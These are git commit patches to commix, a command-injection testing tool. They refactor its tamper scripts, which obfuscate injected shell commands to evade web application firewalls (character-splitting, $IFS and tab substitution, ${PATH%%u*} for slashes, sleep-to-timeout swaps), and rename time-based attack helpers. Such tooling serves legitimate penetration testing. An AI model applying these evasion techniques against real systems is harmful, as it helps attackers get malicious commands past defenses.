import space2ifs @@ -1926,7 +1926,7 @@ def perform_payload_modification(payload): from src.core.tamper import multiplespaces payload = multiplespaces.tamper(payload) - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for encode_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Encode payload to hex format. if encode_type == 'base64encode': from src.core.tamper import base64encode diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 4321d0c27c..4ea075407d 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -15,35 +15,31 @@ import re import sys -from src.utils import menu from src.utils import settings """ -About: Adds back slashes ("\") between the characters of the generated payloads. +About: Adds back slashes (\) between the characters in a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "backslashes" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = "\\" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_back_slashes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = "\\" - payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: payload = payload.replace(_,_.replace(obf_char, "")) return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_back_slashes(payload) + return add_back_slashes(payload) else: return payload diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index d2460b6bcb..0a49618835 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -18,7 +18,7 @@ """ -About: Uses backticks instead of "$()" for commands substitution on the generated payloads. +About: Uses backticks (`) instead of "$()" for commands substitution in a given payload. Notes: This tamper script works against Unix-like target(s). """ @@ -28,7 +28,6 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: settings.USE_BACKTICKS = True settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 5d6b299b44..f55967fc75 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -15,8 +15,8 @@ import sys import base64 -from src.thirdparty.six.moves import urllib as _urllib from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Base64 all characters in a given payload. @@ -31,11 +31,8 @@ def tamper(payload): if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: payload = _urllib.parse.unquote(payload) payload = base64.b64encode(payload.encode()) diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index ae7d6ae191..9be8c42ec6 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -19,7 +19,7 @@ from src.utils import settings """ -About: Adds caret symbol (^) between the characters of the generated payloads. +About: Adds caret symbol (^) between the characters in a given payload. Notes: This tamper script works against windows targets. """ @@ -30,7 +30,6 @@ def tamper(payload): def add_caret_symbol(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True if re.compile(r"\w+").findall(payload): long_string = "" if len(max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))) >= 5000: @@ -39,19 +38,15 @@ def add_caret_symbol(payload): "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', - re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^", "") + re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', long_string) : long_string.replace("^", "") } - payload = re.sub(r'([b-zD-Z])', r'^\1', payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'^\1', payload) rep = dict((re.escape(k), v) for k, v in rep.items()) pattern = re.compile("|".join(rep.keys())) payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload - if settings.TARGET_OS == settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_caret_symbol(payload) + return add_caret_symbol(payload) else: return payload diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index b8eaedbfae..41b81b4fb6 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -17,20 +17,21 @@ from src.utils import settings """ -About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads. +About: Adds dollar sign followed by an at-sign ($@) between the characters in a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "dollaratsigns" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = "$@" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_dollar_at_signs(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = "$@" - payload = re.sub(r'([e-zE-Z])', lambda x: obf_char + x[0], payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 0af8229673..f387d65eb4 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -17,24 +17,25 @@ from src.utils import settings """ -About: Adds double quotes (") between the characters of the generated payloads. +About: Adds double quotes (") between the characters in a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "doublequotes" +global obf_char + if settings.TRANFROM_PAYLOAD != None: settings.TRANFROM_PAYLOAD = None if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = '""' settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def add_double_quotes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = '""' if settings.TARGET_OS != settings.OS.WINDOWS: - payload = re.sub(r'([b-zD-Z])', r'""\1', payload) + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'""\1', payload) else: word = "tokens" _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) @@ -44,10 +45,6 @@ def add_double_quotes(payload): if _ in payload: payload = payload.replace(_,_.replace(obf_char, "")) return payload - - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_double_quotes(payload) + return add_double_quotes(payload) # eof \ No newline at end of file diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index b76dd2bb7f..01c3e275a6 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -31,11 +31,8 @@ def tamper(payload): if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: payload = _urllib.parse.unquote(payload) encoded_payload, _ = hexencode(payload) diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index a5e32727e8..73cbe1e3c6 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -17,16 +17,19 @@ from src.utils import settings """ -About: Adds multiple spaces around OS commands +About: Adds multiple spaces around operating system commands in a given payload. Notes: Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions. """ __tamper__ = "multiplespaces" +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + def tamper(payload): - if not (settings.TAMPER_SCRIPTS[__tamper__]): - settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.TAMPER_SCRIPTS[__tamper__]: for i in range(0, len(settings.WHITESPACES)): settings.WHITESPACES[i] = settings.WHITESPACES[i] * random.randrange(3, 8) return payload + # eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index c925fd5a59..3227a446e2 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -19,12 +19,15 @@ from src.utils import settings """ -About: Adds double quotes around of the generated payloads (nested). +About: Adds double quotes (") around of a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "nested" +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + def nested(): if menu.options.prefix: menu.options.prefix = "\"" + menu.options.prefix @@ -35,10 +38,8 @@ def nested(): else: menu.options.suffix = "\"" -if not settings.TAMPER_SCRIPTS[__tamper__]: - if settings.TARGET_OS != settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True - nested() +if settings.TARGET_OS != settings.OS.WINDOWS: + nested() def tamper(payload): return payload diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index bdb3d262eb..3a106c62a0 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -22,14 +22,19 @@ __tamper__ = "printf2echo" -settings.TAMPER_SCRIPTS[__tamper__] = True +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): def printf_to_echo(payload): if "printf" in payload: - payload = payload.replace("str=$(printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$char'\")", "str=$(echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$char" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs)") + payload = payload.replace(settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX, + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$" + settings.RANDOM_VAR_GENERATOR + "2" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs" + settings.CMD_SUB_SUFFIX + ) + return payload + if settings.TARGET_OS != settings.OS.WINDOWS: + return printf_to_echo(payload) + else: return payload - - return printf_to_echo(payload) # eof \ No newline at end of file diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index b667a40e0d..2229973513 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -14,10 +14,9 @@ """ from src.utils import settings -from src.thirdparty.six.moves import urllib as _urllib """ -About: Is used to reverse (characterwise) the user-supplied operating system commands. +About: Reverses (characterwise) the user-supplied operating system commands in a given payload. Notes: This tamper script works against Unix-like target(s). References: [1] https://github.com/commixproject/commix/issues/408 [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 6fcb308c08..f48b8bb8ff 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -17,31 +17,28 @@ from src.utils import settings """ -About: Adds single quotes (') between the characters of the generated payloads. +About: Adds single quotes (') between the characters in a given payload. Notes: This tamper script works against Unix-like target(s). """ __tamper__ = "singlequotes" +global obf_char + if not settings.TAMPER_SCRIPTS[__tamper__]: + obf_char = "''" settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_single_quotes(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - obf_char = "''" - payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload) + def add_single_quotes(payload): + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: payload = payload.replace(_,_.replace(obf_char, "")) return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_single_quotes(payload) + return add_single_quotes(payload) else: return payload diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 8a98d650ae..f384aaa8d1 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -29,16 +29,11 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - def add_slash2env(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True + def add_slash2env(payload): payload = payload.replace("/", "${PATH%%u*}") return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.EVAL_BASED_STATE != False: - return payload - else: - return add_slash2env(payload) + return add_slash2env(payload) else: return payload diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index b4df1750e8..30a39b1881 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -20,7 +20,7 @@ from src.core.injections.controller import checks """ -About: Uses "timeout" function for time-based attacks. +About: Replaces "sleep" with "timeout" command in a given payload. * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". Notes: This tamper script works against all targets. @@ -33,7 +33,6 @@ def tamper(payload): def sleep_to_timeout_ping(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True if settings.TARGET_OS != settings.OS.WINDOWS: for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) @@ -41,10 +40,7 @@ def sleep_to_timeout_ping(payload): else: payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") return payload - - if settings.CLASSIC_STATE != False or \ - settings.EVAL_BASED_STATE != False or \ - settings.FILE_BASED_STATE != False: + if not settings.TIME_RELATIVE_ATTACK: if settings.TRANFROM_PAYLOAD == None: if settings.TRANFROM_PAYLOAD == None: checks.time_relative_tamper(__tamper__) diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 68cf65c0b4..7cf95b8b7e 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -20,7 +20,7 @@ from src.core.injections.controller import checks """ -About: Replaces "sleep" with "usleep" command in the generated payloads. +About: Replaces "sleep" with "usleep" command in a given payload. Notes: This tamper script works against Unix-like target(s). Reference: http://man7.org/linux/man-pages/man3/usleep.3.html """ @@ -32,7 +32,6 @@ def tamper(payload): def sleep_to_usleep(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + r"([1-9]\d+|[0-9])", payload): sleep_to_usleep = "u" + match.group(0).split(settings.WHITESPACES[0])[0] if match.group(0).split(settings.WHITESPACES[0])[1] != "0": @@ -41,11 +40,8 @@ def sleep_to_usleep(payload): usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.CLASSIC_STATE != False or \ - settings.EVAL_BASED_STATE != False or \ - settings.FILE_BASED_STATE != False: + if not settings.TIME_RELATIVE_ATTACK: if settings.TRANFROM_PAYLOAD == None: checks.time_relative_tamper(__tamper__) settings.TRANFROM_PAYLOAD = False diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index 8e9ba90d17..3dacc887de 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -17,7 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with horizontal tab ('%09') +About: Replaces space character (%20) with horizontal tab (%09) in a given payload. Notes: This tamper script works against all targets. """ @@ -28,7 +28,6 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True if len(settings.WHITESPACES) != 0: if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2htab diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 4ed0b1b5cb..6523c84312 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -17,7 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with the internal field separator ('$IFS'). +About: Replaces space character (%20) with the internal field separator ($IFS) in a given payload. The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. Notes: This tamper script works against Unix-like target(s). @@ -33,8 +33,7 @@ def tamper(payload): if len(settings.WHITESPACES) != 0: if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE != False: settings.WHITESPACES[0] = space2ifs - if settings.TARGET_OS != settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2ifs elif space2ifs not in settings.WHITESPACES: diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index c34988cb53..4b9ba1a583 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -17,7 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with plus ('+'). +About: Replaces space character (%20) with plus (+) in a given payload. Notes: This tamper script works against all targets. """ @@ -27,8 +27,7 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True -def tamper(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True +def tamper(payload): if len(settings.WHITESPACES) != 0: if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2plus diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 2535bc147a..ad8a9e2209 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -17,7 +17,7 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Replaces space character ('%20') with vertical tab ('%0b'). +About: Replaces space character (%20) with vertical tab (%0b) in a given payload. Notes: This tamper script works against Windows targets. """ @@ -30,7 +30,6 @@ def tamper(payload): if len(settings.WHITESPACES) != 0: if settings.TARGET_OS == settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): settings.WHITESPACES[0] = space2vtab elif space2vtab not in settings.WHITESPACES: diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 82da1db664..f26b2429e7 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -19,7 +19,7 @@ from src.utils import settings """ -About: Adds (randomly generated) uninitialized bash variables, between the characters of each command of the generated payloads. +About: Adds (randomly generated) uninitialized bash variables, between the characters of each command in a given payload. Notes: This tamper script works against Unix-like target(s). Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ @@ -35,8 +35,11 @@ def tamper(payload): def add_uninitialized_variable(payload): - settings.TAMPER_SCRIPTS[__tamper__] = True - payload = re.sub(r'([e-zD-Z])', lambda x: obf_char + x[0], payload) + if settings.TAMPER_SCRIPTS["backslashes"] or settings.TAMPER_SCRIPTS["dollaratsigns"]: + err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper scripts: 'backslashes' and/or 'dollaratsigns'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index e6110a555c..1d013ef5f8 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -19,7 +19,7 @@ from src.core.compat import xrange """ -About: Append a fake HTTP header 'X-Forwarded-For' (and alike). +About: Appends a fake HTTP header 'X-Forwarded-For' (and alike). """ __tamper__ = "xforwardedfor" diff --git a/src/utils/settings.py b/src/utils/settings.py index 5a2b8633dd..6231f081d1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1094,6 +1094,9 @@ class AUTH_TYPE(object): USER_APPLIED_TAMPER = "" +# Tamper payload modification letters +TAMPER_MODIFICATION_LETTERS = r'([e-zE-Z])' + # Tamper scripts dict TAMPER_SCRIPTS = { "space2ifs": False, @@ -1114,9 +1117,9 @@ class AUTH_TYPE(object): "dollaratsigns": False, "printf2echo": False, "uninitializedvariable": False, - "slash2env":False, - "backticks":False, - "rev":False + "slash2env": False, + "backticks": False, + "rev": False } UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [ @@ -1156,7 +1159,9 @@ class AUTH_TYPE(object): "then", "else", "fi", + "cmd", "%0d", + "PATH%%u*", RANDOM_VAR_GENERATOR, RANDOM_VAR_GENERATOR + "1", RANDOM_VAR_GENERATOR + "2" From d7394fbfa6664c6fee1f87e0de6f5790e7d05e27 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 5 Mar 2025 07:46:28 +0200 Subject: [PATCH 0537/1023] Update list of individual donors --- doc/THANKS.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/THANKS.md b/doc/THANKS.md index e353933d03..edc3c7e1be 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -2,6 +2,7 @@ * Thanks [Obrela Security Industries](https://www.obrela.com/) for sponsorship. ## List of individual donors: +* Thanks Joseph Disser for a donation. * Thanks John Brinton for a donation. * Thanks [Himself132](https://github.com/Himself132) for a donation. * Thanks [m3g9tr0n](https://x.com/m3g9tr0n) for a donation. From 73ae56c40a01f0592dd2d9d53ab1d7b0df1053dc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Mar 2025 09:41:51 +0200 Subject: [PATCH 0538/1023] Changed the text "Time-relative" to "Time-related" in relevant files for improved clarity and consistency. --- doc/CHANGELOG.md | 4 +- .../blind/techniques/time_based/tb_handler.py | 10 ++--- .../techniques/time_based/tb_injector.py | 2 +- src/core/injections/controller/checks.py | 32 +++++++--------- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/enumeration.py | 38 +++++++++---------- src/core/injections/controller/file_access.py | 18 ++++----- src/core/injections/controller/handler.py | 26 ++++++------- src/core/injections/controller/injector.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 10 ++--- .../techniques/tempfile_based/tfb_injector.py | 2 +- src/core/main.py | 4 +- src/core/requests/requests.py | 28 +++++++------- src/core/tamper/sleep2timeout.py | 8 ++-- src/core/tamper/sleep2usleep.py | 3 +- src/utils/settings.py | 9 ++++- 16 files changed, 97 insertions(+), 101 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 81b0ffc55d..b4d19899a1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -502,7 +502,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.0-20160614...v1.1-20160714)._ ## Version 1.0 (2016-06-14) -* Revised: Time-relative statistical analysis for recognition of unexpected time delays due to unstable requests. +* Revised: Time-related statistical analysis for recognition of unexpected time delays due to unstable requests. * Added: A list of pages / scripts potentially vulnerable to shellshock. * Added: The ability to check if the url is probable to contain script(s) vulnerable to shellshock. * Revised: Multiple eye-candy revisions have been performed. @@ -588,7 +588,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.3b-20160115...v0.4b-20160204)._ ## Version 0.3b (2016-01-15) -* Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests. +* Added: Time-related false-positive identification, which identifies unexpected time delays due to unstable requests. * Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e. Burp or WebScarab). * Added: Check if Powershell is enabled in target host, if the applied option's payload is requiring the use of PowerShell. * Added: New option `--ps-version`, that checks PowerShell's version number. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 048740281d..047425eb85 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -26,7 +26,7 @@ The "time-based" injection technique handler. """ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): - return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + return handler.do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -34,9 +34,9 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r """ def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): # Check if attack is based on time delays. - if not settings.TIME_RELATIVE_ATTACK : - checks.time_relative_attaks_msg() - settings.TIME_RELATIVE_ATTACK = True + if not settings.TIME_RELATED_ATTACK : + checks.time_related_attaks_msg() + settings.TIME_RELATED_ATTACK = True tmp_path = "" if url_time_response >= settings.SLOW_TARGET_RESPONSE: @@ -64,6 +64,6 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, pass else: if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: - settings.TIME_RELATIVE_ATTACK = False + settings.TIME_RELATED_ATTACK = False return False # eof diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 2babbe79aa..ce543a5655 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -24,7 +24,7 @@ """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique): OUTPUT_TEXTFILE = "" - return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d6f34fb999..36fab1b190 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1288,9 +1288,9 @@ def time_delay_due_to_unstable_request(timesec): pass """ -Time relative shell condition +Time related shell condition """ -def time_relative_shell(url_time_response, exec_time, timesec): +def time_related_shell(url_time_response, exec_time, timesec): if (url_time_response == 0 and (exec_time - timesec) >= 0) or \ (url_time_response != 0 and (exec_time - timesec) == 0 and (exec_time == timesec)) or \ (url_time_response != 0 and (exec_time - timesec) > 0 and (exec_time >= timesec + 1)): @@ -1299,9 +1299,9 @@ def time_relative_shell(url_time_response, exec_time, timesec): return False """ -Message regarding time relative attcks +Message regarding time related attcks """ -def time_relative_attaks_msg(): +def time_related_attaks_msg(): warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -1453,16 +1453,6 @@ def testable_parameters(url, check_parameters, header_name): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) -""" -Only time-relative injection techniques support tamper -""" -def time_relative_tamper(tamper): - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + tamper + ".py' tamper script." - if menu.options.skip_heuristics: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ Lists available tamper scripts """ @@ -1505,6 +1495,10 @@ def tamper_scripts(stored_tamper_scripts): if not stored_tamper_scripts: settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) warn_msg = "" + if not 